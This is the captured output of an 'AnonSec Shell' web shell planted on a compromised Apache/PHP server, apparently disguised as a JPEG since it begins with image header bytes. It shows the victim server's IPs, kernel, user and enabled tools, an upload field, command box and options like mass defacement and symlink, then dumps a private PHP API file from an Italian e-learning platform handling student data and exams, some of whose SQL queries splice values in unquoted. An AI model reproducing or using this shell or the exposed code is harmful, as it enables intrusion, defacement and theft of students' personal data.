JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/sapere/app/components/studenti/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/sapere/app/components/studenti/api.class.php
<?php
class APIStudenti extends API
{

	protected $db;

	public function __construct()
	{
		$this->db = new DBLink(FILE_INI_MDADB);
		$this->db->SafeFetch("SET CHARACTER SET utf8 ");

	}

	/* ---------------------------------------- */
	/* ----------------- ACL ------------------ */
	/* ---------------------------------------- */
	private function checkUserStudente($id_user)
	{
		$id_centro = $_SESSION['userdata']['id_centro'];
		$query = "SELECT * FROM user WHERE id_user = $id_user AND id_centro = $id_centro;";
		$res = $this->db->SafeFetchOne($query);
		if (!$res['email']) {
			return $this->printMessage($this->responseMessage([], true));
		}
		;
	}

	private function checkCorsoCentro($id_corso)
	{
		$id_centro = $_SESSION['userdata']['id_centro'];
		$query = "SELECT * FROM centri_corsi_assegnati WHERE id_corso = $id_corso AND id_centro = $id_centro;";
		$res = $this->db->SafeFetchOne($query);
		if (!$res['id_corso']) {
			return $this->printMessage($this->responseMessage([], true));
		}
		;
	}


	function getFileLezione($id_lezione, $filename)
	{

		$this->getFile("lezione", $id_lezione, $filename);
	}

	/* ---------------------------------------- */
	/* -------------- ANAGRAFICA -------------- */
	/* ---------------------------------------- */

	function getMyUserInfo()
	{
		// print_r($_SESSION['userdata']);
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT * FROM studenti_user_info WHERE id_user = $id_user;";
		$res = $this->db->SafeFetchOne($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function updateMyUserInfo($_id_user_info, $_id_user, $_nome, $_cognome, $_cdf, $_indirizzo, $_nazionalita, $_nazione_nascita, $_datanascita, $_comune_nascita, $_titolo_studio, $_citta, $_cap, $_telefono, $_cellulare, $_marketing)
	{
		$insert_id_user = $_SESSION['userdata']['id_user'];
		$id_user_info = $this->db->quoteInt($_id_user_info);
		$marketing = $this->db->quoteInt($_marketing);
		$id_user = $this->db->quoteInt($_id_user);
		$nome = $this->db->quoteText($_nome);
		$cognome = $this->db->quoteText($_cognome);
		$cdf = $this->db->quoteText($_cdf);
		$cap = $this->db->quoteText($_cap);
		$indirizzo = $this->db->quoteText($_indirizzo);
		$nazionalita = $this->db->quoteText($_nazionalita);
		$nazione_nascita = $this->db->quoteText($_nazione_nascita);
		if ($_datanascita) {
			$__start = explode("T", $_datanascita);
			$date_s = $__start[0];
			$datanascita = $this->db->quoteText($date_s);
		} else {
			$datanascita = "NULL";
		}
		$comune_nascita = $this->db->quoteText($_comune_nascita);
		$titolo_studio = $this->db->quoteText($_titolo_studio);
		$citta = $this->db->quoteText($_citta);
		$cap = $this->db->quoteText($_cap);
		$telefono = $this->db->quoteText($_telefono);
		$cellulare = $this->db->quoteText($_cellulare);

		$query = "UPDATE studenti_user_info SET "
			. "nome = $nome, "
			. "cognome = $cognome, "
			. "cdf = $cdf, "
			. "cap = $cap, "
			. "indirizzo = $indirizzo, "
			. "nazionalita = $nazionalita, "
			. "nazione_nascita = $nazione_nascita, "
			. "datanascita = $datanascita, "
			. "comune_nascita = $comune_nascita, "
			. "titolo_studio = $titolo_studio, "
			. "citta = $citta, "
			. "telefono = $telefono, "
			. "cellulare = $cellulare, "
			. "marketing = $marketing "
			. "WHERE id_user_info = $id_user_info AND id_user = $id_user;";

		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Record aggiornato con successo.", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false));
		}
	}

	function updateAvatarLocation($files)
	{
		$id_user = $_SESSION['userdata']['id_user'];
		$_nome_file = $this->putFileS3Private("user_avatar", $id_user, $files[0]);
		$nome_file = end(explode("/", $_nome_file));
		$query = "UPDATE " . $this->getInfoTableName() . " SET "
			. " avatar_location = " . $this->db->quoteText($nome_file)
			. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
			$this->getFile("user_avatar", $id_user, $nome_file);
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false));
		}
	}

	function resetAvatarLocation()
	{
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "UPDATE " . $this->getInfoTableName() . " SET "
			. " avatar_location = NULL "
			. " WHERE id_user = " . $this->db->quoteInt($id_user);
		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage(null, true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false));
		}
	}

	function getAvatarLocation()
	{
		$id_user = $_SESSION['userdata']['id_user'];
		$query = "SELECT avatar_location from " . $this->getInfoTableName() .
			" WHERE id_user = " . $this->db->quoteInt($id_user);
		$_nome_file = $this->db->SafeFetchOne($query);
		if ($_nome_file['avatar_location']) {
			$this->getFile("user_avatar", $id_user, $_nome_file['avatar_location']);
		} else {
			return $this->printMessage($this->responseMessage(null, true));
		}
	}

	/* ---------------------------------------- */
	/* ---------- UTENTI DEL CENTRO ----------- */
	/* ---------------------------------------- */

	function setAvanzamentoLezioneTime($id_lezione, $id_corso, $id_iscrizione, $tempo_su_lezione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_lezione = $this->db->quoteInt($id_lezione);
		$id_iscrizione = $this->db->quoteInt($id_iscrizione);
		$tempo_su_lezione = $this->db->quoteInt($tempo_su_lezione);

		$query = "SELECT *  
		FROM corso_lezione_studente 
		WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		$res = $this->db->SafeFetchOne($query);

		if ($res['id_user']) {
			$query = "UPDATE corso_lezione_studente SET "
				. " tempo_su_lezione = $tempo_su_lezione "
				. " WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		} else {
			$query = "INSERT INTO corso_lezione_studente (id_user, id_lezione, id_corso, tempo_su_lezione, id_iscrizione) VALUES($id_user, $id_lezione, $id_corso, $tempo_su_lezione, $id_iscrizione)";
		}
		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Avanzamento tempo lezione aggiornato!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!" . $query, false));
		}
	}

	function setAvanzamentoLezioneSlide($id_lezione, $id_corso, $id_iscrizione, $slide_corrente)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_lezione = $this->db->quoteInt($id_lezione);
		$id_iscrizione = $this->db->quoteInt($id_iscrizione);
		$slide_corrente = $this->db->quoteInt($slide_corrente);

		$query = "SELECT *  
		FROM corso_lezione_studente 
		WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		$res = $this->db->SafeFetchOne($query);

		if ($res['id_user']) {
			$query = "UPDATE corso_lezione_studente SET "
				. " slide_corrente = $slide_corrente "
				. " WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		} else {
			$query = "INSERT INTO corso_lezione_studente (id_user, id_lezione, id_corso, time_check, quiz_check, id_iscrizione) VALUES($id_user, $id_lezione, $id_corso, $time_check, $quiz_check, $id_iscrizione)";
		}
		// echo $query;die;
		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Avanzamento slide lezione aggiornato!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!", false));
		}
	}

	function setAvanzamentoLezione($id_lezione, $id_corso, $id_iscrizione, $time_check, $quiz_check)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_lezione = $this->db->quoteInt($id_lezione);
		$id_iscrizione = $this->db->quoteInt($id_iscrizione);
		$time_check = $this->db->quoteInt($time_check);
		$quiz_check = $this->db->quoteInt($quiz_check);
		$id_corso = $this->db->quoteInt($id_corso);

		$query = "SELECT *  
		FROM corso_lezione_studente 
		WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		$res = $this->db->SafeFetchOne($query);

		if ($res['id_user']) {
			$query = "UPDATE corso_lezione_studente SET "
				. " time_check = $time_check, "
				. " quiz_check = $quiz_check "
				. " WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		} else {
			$query = "INSERT INTO corso_lezione_studente (id_user, id_lezione, id_corso, time_check, quiz_check, id_iscrizione) VALUES($id_user, $id_lezione, $id_corso, $time_check, $quiz_check, $id_iscrizione)";
		}
		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Avanzamento lezione aggiornato!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!", false));
		}
	}

	function avviaEsameBE($id_modulo, $id_esame, $id_iscrizione, $risposte_quiz)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$risposte_quiz = $this->db->quoteText($risposte_quiz);
		$id_modulo = $this->db->quoteInt($id_modulo);
		// $id_esame =  $this->db->quoteInt($id_esame);
		$id_iscrizione = $this->db->quoteInt($id_iscrizione);

		$query = "SELECT *  
		FROM corso_esame_modulo_studente 
		WHERE id_user = $id_user AND id_modulo = $id_modulo AND id_iscrizione = $id_iscrizione;";
		$res = $this->db->SafeFetchOne($query);

		if ($res['id_user']) {
			$query = "UPDATE corso_esame_modulo_studente SET "
				. " risposte_quiz = $risposte_quiz, "
				. " tentativi_utilizzati = tentativi_utilizzati + 1 "
				. " WHERE id_user = $id_user AND id_modulo = $id_modulo AND id_iscrizione = $id_iscrizione;";
		} else {
			$query = "INSERT INTO corso_esame_modulo_studente (id_user, id_modulo, id_iscrizione, risposte_quiz) VALUES($id_user, $id_modulo, $id_iscrizione, $risposte_quiz)";
		}
		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Aggiornamento eseguito!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!", false));
		}
	}


	function checkModuloSuperato($id_modulo, $id_user, $risposte_quiz)
	{
		$id_modulo = $this->db->quoteInt($id_modulo);
		$query = "SELECT corso_esame_risposta.id_domanda, corso_esame_risposta.risposta, corso_esame_risposta.id_risposta, corso_esame_modulo.id_modulo, corso_esame_modulo.id_esame, corso_esame_domanda.domanda
					FROM corso_esame_risposta
					LEFT JOIN corso_esame_domanda  ON corso_esame_domanda.id_domanda = corso_esame_risposta.id_domanda 
					LEFT JOIN corso_esame_modulo ON corso_esame_modulo.id_modulo = corso_esame_domanda.id_modulo
					WHERE corso_esame_risposta.corretta = 1 AND corso_esame_modulo.id_modulo = $id_modulo";
		$domande_db = $this->db->SafeFetch($query);
		$risposte_utente = json_decode($risposte_quiz, true);

		$query = "SELECT * FROM corso_esame_modulo WHERE id_modulo = $id_modulo";
		$corso_esame = $this->db->SafeFetchOne($query);
		$rating = intval($corso_esame['rating']) / 100;

		if (intval($corso_esame['numero_domande']) == -1) {
			$totale_domande = count($domande_db);
		} else {
			$totale_domande = intval($corso_esame['numero_domande']);
		}
		$minimo_corrette = floor($totale_domande * $rating);
		$corrette = 0;
		$errate = 0;

		//  echo "Domande: ".count($domande_db)." - Risposte: ".count($risposte_utente)." - Minimo: ".$minimo_corrette;
		//  die();		print_r($domande_db);
		// print_r($risposte_utente);
		for ($i = 0; $i < count($domande_db); $i++) {
			for ($k = 0; $k < count($risposte_utente); $k++) {
				if ($domande_db[$i]['id_domanda'] == $risposte_utente[$k]['id_domanda']) {
					if ($domande_db[$i]['id_risposta'] == $risposte_utente[$k]['id_risposta']) {
						$corrette++;
					}
				}
			}
		}
		//  echo "Corrette: ".$corrette." - Minimo: ".$minimo_corrette;

		if ($corrette >= $minimo_corrette) {
			return true;
		} else {
			return false;
		}
	}

	function setAvanzamentoEsame($id_esame, $id_modulo, $id_iscrizione, $risposte_quiz)
	{
		// $superato = $this->checkModuloSuperato($id_modulo, $id_user, $risposte_quiz);
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$risposte_quiz = $this->db->quoteText($risposte_quiz);
		$id_esame = $this->db->quoteInt($id_esame);
		$id_modulo = $this->db->quoteInt($id_modulo);
		$id_iscrizione = $this->db->quoteInt($id_iscrizione);
		$query = "SELECT *  
		FROM corso_esame_modulo_studente 
		WHERE id_user = $id_user AND id_modulo = $id_modulo;";
		$res = $this->db->SafeFetchOne($query);

		if ($res['id_user']) {
			// if($superato){
			// 	$query = "UPDATE corso_esame_modulo_studente SET "
			// 		. " risposte_quiz = $risposte_quiz, "  
			// 		. " superato = 1, "  
			// 		. " data_superato = NOW() "  
			// 		. " WHERE id_user = $id_user AND id_modulo = $id_modulo;";
			// }else{
			$query = "UPDATE corso_esame_modulo_studente SET "
				. " risposte_quiz = $risposte_quiz "
				. " WHERE id_user = $id_user AND id_modulo = $id_modulo AND id_iscrizione = $id_iscrizione;";
			//}
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!" . $query, false));
			// 	if($superato){
			// 		$query = "INSERT INTO corso_esame_modulo_studente (id_user, id_modulo, id_iscrizione, risposte_quiz, superato, data_superato) VALUES($id_user, $id_modulo, $id_iscrizione, $risposte_quiz, 1 , NOW())";
			// 	}else{
			// 		$query = "INSERT INTO corso_esame_modulo_studente (id_user, id_modulo, id_iscrizione, risposte_quiz) VALUES($id_user, $id_modulo, $id_iscrizione, $risposte_quiz)";
			// 	}
		}
		// echo $query; die;
		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Aggiornamento effettuato!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!" . $query, false));
		}
	}



	function aggiornaRispostaQuizLezione($id_lezione, $id_corso, $id_iscrizione, $risposte_quiz)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_lezione = $this->db->quoteInt($id_lezione);
		$risposte_quiz = $this->db->quoteText($risposte_quiz);
		$id_corso = $this->db->quoteInt($id_corso);
		$id_iscrizione = $this->db->quoteInt($id_iscrizione);

		$query = "SELECT *  
		FROM corso_lezione_studente 
		WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		$res = $this->db->SafeFetchOne($query);

		if ($res['id_user']) {
			$query = "UPDATE corso_lezione_studente SET "
				. " risposte_quiz = $risposte_quiz "
				. " WHERE id_user = $id_user AND id_corso = $id_corso AND id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione;";
		} else {
			$query = "INSERT INTO corso_lezione_studente (id_user, id_lezione, id_corso, risposte_quiz, id_iscrizione) VALUES($id_user, $id_lezione, $id_corso, $risposte_quiz, $id_iscrizione)";
		}
		if ($this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Risposta aggiornata!", true));
		} else {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!", false));
		}
	}



	function getAvanzamentoLezione($id_corso, $id_iscrizione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_corso = $this->db->quoteInt($id_corso);
		$id_iscrizione = $this->db->quoteInt($id_iscrizione);
		$query = "SELECT *  
		FROM corso_lezione_studente 
		WHERE id_user = $id_user AND id_corso = $id_corso AND id_iscrizione = $id_iscrizione";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}


	function getIscrizioniCorsiUtente($_id_user)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$query = "SELECT corso.titolo, corso.id_corso, iscrizioni_studenti_corsi.id_edizione, corso.categoria, corso.durata, iscrizioni_studenti_corsi.user_insert_id, iscrizioni_studenti_corsi.create_time, centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user as affiliato_user_id 
		FROM iscrizioni_studenti_corsi
		LEFT JOIN corso ON iscrizioni_studenti_corsi.id_corso = corso.id_corso
		LEFT JOIN centri_user_info ON iscrizioni_studenti_corsi.user_insert_id = centri_user_info.id_user
		WHERE iscrizioni_studenti_corsi.id_user = $id_user";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getIscrizioniSessioniUtente($_id_user)
	{
		$id_user = $this->db->quoteInt($_id_user);
		$query = "SELECT DISTINCT iscrizioni_studenti_esami.id_iscrizione, iscrizioni_studenti_esami.id_sessione, iscrizioni_studenti_esami.id_user, corso_esame.titolo, corso_esame.id_esame, corso_esame.categoria, iscrizioni_studenti_esami.user_insert_id, iscrizioni_studenti_esami.esito, iscrizioni_studenti_esami.data_esito, iscrizioni_studenti_esami.codice_certificato, iscrizioni_studenti_esami.file_cert, centri_user_info.denominazione as affiliato_nome, centri_user_info.id_user as affiliato_user_id
		, sessione.data_inizio_sessione, sessione.data_fine_sessione, sessione.id_supervisore, sessione.data_chiusura_supervisore, sessione.documento_firme_location, supervisori_user_info.nome as supervisore_nome, supervisori_user_info.cognome as supervisore_cognome, sessione.password 
		FROM iscrizioni_studenti_esami 
		LEFT JOIN sessione ON sessione.id_sessione = iscrizioni_studenti_esami.id_sessione 
		LEFT JOIN corso_esame ON iscrizioni_studenti_esami.id_esame = corso_esame.id_esame
		LEFT JOIN centri_user_info ON iscrizioni_studenti_esami.user_insert_id = centri_user_info.id_user
		LEFT JOIN supervisori_user_info ON supervisori_user_info.id_user = sessione.id_supervisore
		WHERE iscrizioni_studenti_esami.id_user = $id_user ORDER BY sessione.data_inizio_sessione";
		$res = $this->db->SafeFetch($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getFilesSessione($id_sessione)
	{

		$res = $this->getListaFilePrivate('sessione', $id_sessione);
		return $this->printMessage($this->responseMessage($res, true));
	}

	function getFileCorso($id_corso, $filename)
	{
		$this->getFile("corso", $id_corso, $filename);
	}

	function getModuloEsameCompletato($_id_modulo, $_id_iscrizione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_modulo = $this->db->quoteInt($_id_modulo);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);

		$query = "SELECT * FROM corso_esame_modulo_studente WHERE id_user = $id_user AND id_modulo = $id_modulo AND id_iscrizione = $id_iscrizione;";
		$esito = $this->db->SafeFetchOne($query);

		if (count($esito) == 0) {//|| ($esito && $esito['superato']==0)
			return $this->printMessage($this->responseMessage($esito, true));
		}

		$superato = $this->checkModuloSuperato($id_modulo, $id_user, $esito['risposte_quiz']);
		if ($superato) {
			$query = "UPDATE corso_esame_modulo_studente SET "
				. " superato = 1, "
				. " data_superato = NOW() "
				. " WHERE id_user = $id_user AND id_modulo = $id_modulo AND id_iscrizione = $id_iscrizione;";
			if (!$this->db->SafeExec($query)) {
				return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!", false));
			}
			$query = "SELECT * FROM corso_esame_modulo_studente WHERE id_user = $id_user AND id_iscrizione = $id_iscrizione AND id_modulo = $id_modulo AND superato = 1";
			$esito = $this->db->SafeFetchOne($query);

		}

		return $this->printMessage($this->responseMessage($esito, true));

	}


	function getEsameCompletato($_id_esame, $_id_iscrizione)
	{
		$id_centro = $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_esame = $this->db->quoteInt($_id_esame);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);

		$qq = "SELECT * FROM corso_esame_modulo WHERE id_esame = $id_esame";
		$res = $this->db->SafeFetch($qq);
		for ($i = 0; $i < count($res); $i++) {
			$_id_modulo = $this->db->quoteInt($res[$i]['id_modulo']);
			$query = "SELECT * FROM corso_esame_modulo_studente WHERE id_modulo = $_id_modulo and superato = 1 AND id_user = $id_user AND id_iscrizione = $id_iscrizione";
			$res2 = $this->db->SafeFetchOne($query);
			if (!$res2['id_user']) {
				return $this->printMessage($this->responseMessage(false, true));
			}
		}
		// $query = "SELECT 
		// 	DISTINCT corso_esame_modulo.id_modulo, 
		// 	corso_esame_modulo.*, 
		// 	corso_esame_modulo_studente.id_iscrizione, 
		// 	corso_esame_modulo_studente.superato, 
		// 	corso_esame_modulo_studente.data_superato
		// --	(SELECT COUNT(*) FROM corso_esame_modulo_studente AS sub_e WHERE sub_e.id_modulo = corso_esame_modulo.id_modulo AND sub_e.superato = 0 AND sub_e.id_user = $id_user AND sub_e.id_iscrizione = $id_iscrizione) AS tentativi_zero,
		// --	(SELECT COUNT(*) FROM corso_esame_modulo_studente AS sub_e WHERE sub_e.id_modulo = corso_esame_modulo.id_modulo AND sub_e.superato = 1 AND sub_e.id_user = $id_user AND sub_e.id_iscrizione = $id_iscrizione) AS tentativi_uno
		// FROM corso_esame_modulo 
		// LEFT JOIN corso_esame_modulo_studente ON corso_esame_modulo.id_modulo = corso_esame_modulo_studente.id_modulo 
		// WHERE corso_esame_modulo.id_esame = $id_esame AND corso_esame_modulo_studente.id_user = $id_user  ";
		// $res= $this->db->SafeFetch($query);	
		if (count($res) == 0) {
			return $this->printMessage($this->responseMessage(false, true));
		}
		// echo count($res);
		// print_r($res);die;
		// for ($i=0; $i < count($res); $i++) { 
		// 	if($res[$i]['tentativi_uno'] == 0){
		// 		return $this->printMessage( $this->responseMessage(false, true) );
		// 	}
		// }
		// echo $query; die;
		//verifico che esiste la riga in corso_esame_studente altrimenti la inserisco
		$query = "SELECT * FROM corso_esame_studente WHERE id_user = $id_user AND id_esame = $id_esame AND id_iscrizione = $id_iscrizione;";
		$res = $this->db->SafeFetchOne($query);
		if (!$res['id_user']) {
			if (!$this->db->SafeExec("UPDATE iscrizioni_studenti_esami SET esito=1, data_esito = NOW() WHERE id_user=$id_user AND id_iscrizione = $id_iscrizione;")) {
				return $this->printMessage($this->responseMessage("Errore in fase di memorizzazione della fruizione del corso, contatta la segreteria!", false));
			}

			$query = "INSERT INTO corso_esame_studente (id_user, id_esame, id_iscrizione, superato, data_superato) VALUES($id_user, $id_esame,$id_iscrizione,1 , NOW())";

		}
		if (!$this->db->SafeExec($query)) {
			return $this->printMessage($this->responseMessage("Errore durante l'aggiornamento dell'avanzamento, si prega di riprovare!", false));
		}

		$query = "SELECT * FROM iscrizioni_studenti_esami WHERE id_user = $id_user AND id_iscrizione = $id_iscrizione;";
		$res = $this->db->SafeFetchOne($query);
		return $this->printMessage($this->responseMessage($res, true));
	}

	// function getCorsoCompletato($_id_corso){
	// 	$id_user =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
	// 	$id_corso =  $this->db->quoteInt($_id_corso);
	// 	$query = "SELECT * FROM corso_studente WHERE id_corso = $id_corso AND id_user = $id_user";
	// 	$res= $this->db->SafeFetchOne($query);	
	// 	return $this->printMessage( $this->responseMessage($res, true) );
	// }

	// function checkCorsoEsameCompletato($_id_corso){
	// 	$id_user =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
	// 	$id_corso =  $this->db->quoteInt($_id_corso);
	// 	$query = "SELECT * FROM corso_esame_modulo_studente WHERE id_corso = $id_corso AND id_user = $id_user";
	// 	$res= $this->db->SafeFetchOne($query);	
	// 	if($res && $res['superato'] && intval($res['superato'])== 1){
	// 		return $this->printMessage( $this->responseMessage(true, true) );
	// 	}

	// 	$query_stu = "SELECT * FROM corso_lezione_studente WHERE id_corso = $id_corso";
	// 	$lezioni_stu= $this->db->SafeFetch($query_stu);	
	// 	$query = "SELECT * FROM corso_lezione WHERE id_corso = $id_corso";
	// 	$lezioni= $this->db->SafeFetch($query);	

	// 	if(count($lezioni)!=count($lezioni_stu)){
	// 		return $this->printMessage( $this->responseMessage(false, true) );
	// 	}
	// 	for ($i=0; $i < count($lezioni); $i++) { 
	// 		$check = true;
	// 		for ($k=0; $k < count($lezioni_stu); $k++) { 
	// 			if($lezioni[$i]['id_lezione'] == $lezioni_stu[$k]['id_lezione']){
	// 				$check = false;
	// 				if(intval($lezioni_stu[$k]['time_check']) == 1 || intval($lezioni_stu[$k]['quiz_check'] == 1)){
	// 					return $this->printMessage( $this->responseMessage(true, true) );
	// 				}
	// 			}
	// 		}
	// 		if($check){
	// 			return $this->printMessage( $this->responseMessage(false, true) );
	// 		}
	// 	}
	// 	if ($this->db->SafeInsert("INSERT INTO corso_studente (id_user, id_corso, seguito) VALUES($id_user, $id_corso, $seguito);")){
	// 		return $this->printMessage( $this->responseMessage(true, true) );	
	// 	}else{
	// 		return $this->printMessage( $this->responseMessage("Errore in fase di memorizzazione della fruizione del corso, contatta la segreteria!", false) );
	// 	}

	// }

	function getRisposteCorrette($_id_lezione, $_id_iscrizione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_lezione = $this->db->quoteInt($_id_lezione);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$query = "SELECT * FROM corso_lezione_studente WHERE id_lezione = $id_lezione AND id_iscrizione = $id_iscrizione AND id_user = $id_user";
		$res = $this->db->SafeFetchOne($query);
		if ($res && $res['time_check'] == "1" && $res['quiz_check'] == "1") {
			$query = "SELECT corso_lezione_domanda.id_domanda, corso_lezione_risposta.id_risposta 
			FROM corso_lezione_domanda
			LEFT JOIN corso_lezione_risposta ON corso_lezione_domanda.id_domanda = corso_lezione_risposta.id_domanda
			WHERE corso_lezione_domanda.id_lezione = $id_lezione AND corso_lezione_risposta.corretta = 1";
			$domande_db = $this->db->SafeFetch($query);
			return $this->printMessage($this->responseMessage($domande_db, true));
		} else {
			return $this->printMessage($this->responseMessage("Non hai ancora completato il quiz, non puoi ancora ricevere le risposte corrette!", false));
		}

	}

	function getRisposteCorretteEsame($_id_modulo, $_id_esame, $_id_iscrizione)
	{
		$id_user = $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$id_esame = $this->db->quoteInt($_id_esame);
		$id_iscrizione = $this->db->quoteInt($_id_iscrizione);
		$id_modulo = $this->db->quoteInt($_id_modulo);
		$query = "SELECT * FROM corso_esame_modulo_studente WHERE id_modulo = $id_modulo AND id_iscrizione = $id_iscrizione AND id_user = $id_user";
		$res = $this->db->SafeFetchOne($query);

		if ($res && $res['tentativi_utilizzati'] && intval($res['tentativi_utilizzati']) > 0) {
			$risposte_quiz = [];
			$_risposte_quiz = json_decode($res['risposte_quiz'], true);
			foreach ($_risposte_quiz as $key => $item) {
				if (!isset($item['id_domanda']) || !isset($item['id_risposta'])) {
					continue;
				}
				if (!isset($risposte_quiz[intval($item['id_domanda'])])) {
					$risposte_quiz[intval($item['id_domanda'])] = -1;
				}
				$risposte_quiz[intval($item['id_domanda'])] = $item['id_risposta'];
			}
			;

			$query = "SELECT corso_esame_domanda.id_domanda, corso_esame_risposta.id_risposta 
			FROM corso_esame_domanda
			LEFT JOIN corso_esame_risposta ON corso_esame_domanda.id_domanda = corso_esame_risposta.id_domanda
